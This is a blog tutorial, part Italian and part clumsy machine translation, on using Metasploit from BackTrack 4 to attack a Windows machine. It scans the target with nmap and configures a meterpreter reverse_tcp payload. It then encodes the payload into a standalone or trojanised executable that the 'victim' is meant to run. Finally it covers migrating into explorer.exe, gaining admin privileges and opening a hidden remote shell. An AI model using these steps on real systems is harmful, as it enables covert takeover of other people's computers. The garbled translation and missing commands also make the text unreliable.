Nel precedente articolo
( SICUREZZA:exploits e payloads ) ho spiegato cosa sono gli exploit e
cosa sono i payloads.(Finalmente ho trovato un po di tempo per scrivere la guida...ahhh la scuola!)
-Exploit: code that exploits a vulnerability in a system.
-Payload: the data or the collection of data that is sent to the program / target vulnerable.
In this guide I explain how to use an exploit and a payload, using
backtrack 4
and What is Metasploit?
Metasploit is a project that concerns the security and ensures you are updated on the latest vulnerability, and also allows you to make "test" with its framework.Disponibile for (Linux / Mac / Windows)
Il framework di metasploit è disponibile in:
-WEB:utilizzabile in una comodissima interfaccia(grafica) web.
-GUI(Graphic User Interface):comoda interfaccia grafica. In questa guida utilizzeremo la CONSOLE.
Ricordate che per chi usa backtrack 4 metasploit è pre-installato.
ATTENZIONE!L'AUTORE DELLA GUIDA( - GHEBBO_HCK
- ) NON SI ASSUNE NESSUNA RESPONSABILITA' DELL'USO INAPPROPRIATO DELLE INFORMAZIONI QUI CONTENUTE.
LA GUIDA HA UNO SCOPO ESCUSIVAMENTE INFORMATIVO/DIDATTICO.
Apriamo la konsole e digitiamo: msfconsole
Ora apriamo un'altra konsole e dgitiamo:
lasciamo lavorare nmap....ma cosa sta facendo?
nmap è l'applicazione:uno sniffer* di pacchetti -O option is nmap which identifies the target SO ** \u0026lt;indirizzo_ip_bersagio_locale_...> is the IP address of the target (which should be on our network)
** Just finished verify the OS of the target (this procedure is used unless you know the target OS **).
should also tell you:
Running: Microsoft Windows SP2/SP3/Vista/7 (or something similar =))
** OS: Operating System (OS =)
Now we begin to shape our exploit =).
We should have a screen like before:
Now type:
September payload windows / meterpreter / reverse_tcp need to "choose" to use the payload show options used to display the options the exploit / payload
Finally we can do is "fill" option and start LHOST * =):
September LHOST 192.168.0.9
used to set our (192.168.0.9 is just one example: put your) local IP address
exploit is to initiate the exploit (yes, just like that)
* LHOST : LocalHost, our computer.
But now we lack the "fundamental": the executable that will allow our computers to access the target computer!
. / Msfpayload \u0026lt;percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST \u0026lt;il_nostro_ip_locale> R = -e x86/shikata_ga_nai -c 5
se vogliamo inserire il "codice malevolo" dentro un eseguibile già esistente,oppure:
./msfpayload <percorso_payload(es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> X > E
e poi:
./msfcli <percorso_exploit(es.multi/handler)> payload=<percorso_payload (es.windows/meterpreter/reverse_tcp)> LHOST=<il_nostro_ip_locale> E
se vogliamo creare un eseguibile con dentro il codice malevolo:l'eseguibile non avvierà nessun applicativo,quindi è meno consigliabile da usare =).
Ora,appena finito di creare il file eseguibile(o di inserire il codice dentro un eseguibile già esistente) non ci rimane che far avviare alla vittima il nostro eseguibile,appena fatto ciò,torniamo alla konsole con metasploit framework aperto(quella con msfconsole).
Ora vi illustrerò alcune potenzialità di meterpreter(il payload da noi utilizzato):
is the script that allows you to "migrate" our process (one of our executable file) in another process, in this case "explorer.exe" ... by doing so we avoid the danger of losing the connection as soon as our process is terminated.
getprivs used to obtain administrator privileges
shell used to start a shell (but it should be?) And remotely in the background (not visible to the user). I hope has been helpful, the next =)!
As always, if I made let me point out a mistake: will fix soon!
0 comments:
Post a Comment